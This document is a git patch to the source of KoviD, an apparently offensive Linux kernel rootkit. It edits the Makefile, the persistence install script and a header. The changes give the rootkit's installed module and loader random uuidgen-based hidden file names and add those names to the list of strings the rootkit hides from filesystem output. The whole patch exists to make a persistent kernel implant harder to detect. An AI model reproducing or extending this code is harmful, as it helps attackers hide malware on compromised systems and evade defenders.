From 821b8cd93baf86195e03081eb08648dbc94eb534 Mon Sep 17 00:00:00 2001 From: JNE Date: Wed, 2 Oct 2024 18:32:10 +0100 Subject: [PATCH] Set persistence filenames from uuidgen output --- Makefile | 7 ++++++- scripts/install.sh | 12 +++++++++--- src/lkm.h | 4 ++-- 3 files changed, 17 insertions(+), 6 deletions(-) diff --git a/Makefile b/Makefile index bb6c03b..a040396 100644 --- a/Makefile +++ b/Makefile @@ -9,9 +9,12 @@ endif LD=$(shell which ld) AS=$(shell which as) CTAGS=$(shell which ctags)) +UUIDGEN := $(shell uuidgen) + # PROCNAME, /proc/ interface. You must change it. COMPILER_OPTIONS := -Wall -DPROCNAME='"changeme"' \ - -DMODNAME='"kovid"' -DKSOCKET_EMBEDDED ${DEBUG_PR} -DCPUHACK -DPRCTIMEOUT=1200 + -DMODNAME='"kovid"' -DKSOCKET_EMBEDDED ${DEBUG_PR} -DCPUHACK -DPRCTIMEOUT=1200 \ + -DUUIDGEN=\"$(UUIDGEN)\" EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS} @@ -30,6 +33,8 @@ all: persist make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules persist: + sed -i "s|.lm.sh|${UUIDGEN}.sh|g" $(persist).S + sed -i "s|.kv.ko|${UUIDGEN}.ko|g" $(persist).S $(AS) --64 $(persist).S -statistics -fatal-warnings \ -size-check=error -o $(persist).o $(LD) -Ttext 200000 --oformat binary -o $(persist) $(persist).o diff --git a/scripts/install.sh b/scripts/install.sh index 15f0632..500d799 100755 --- a/scripts/install.sh +++ b/scripts/install.sh @@ -2,9 +2,15 @@ # # Install KoviD persistence # -hash - set -eou pipefail +# UUIDGEN must be passed as environment variable. +# Check Makefile, persist.S +# +# Use: +# UUIDGEN=value ./install.sh +UUIDGEN=$UUIDGEN + PREFIX="/${0%/*}" PREFIX=${PREFIX:-.} PREFIX=${PREFIX#/}/ @@ -67,8 +73,8 @@ function do_install_files_error() { function do_install_files() { local rc=0 - cp -v "$KOVID" "$INSTALL"/.kv.ko || rc=1 - cp -v "$LOADER" "$INSTALL"/.lm.sh || rc=1 + cp -v "$KOVID" "$INSTALL"/.$UUIDGEN.ko || rc=1 + cp -v "$LOADER" "$INSTALL"/.$UUIDGEN.sh || rc=1 return $rc } diff --git a/src/lkm.h b/src/lkm.h index 2715174..6d10e22 100644 --- a/src/lkm.h +++ b/src/lkm.h @@ -169,8 +169,8 @@ unsigned long kv_get_elf_vm_start(pid_t); * Hide these names from write() fs output */ static const char *kv_hide_str_on_load[] = { - ".kovid", "kovid", "kovid.ko", ".kv.ko", - ".lm.sh", ".sshd_orig", NULL + ".kovid", "kovid", "kovid.ko", UUIDGEN ".ko", + UUIDGEN ".sh", ".sshd_orig", NULL }; enum {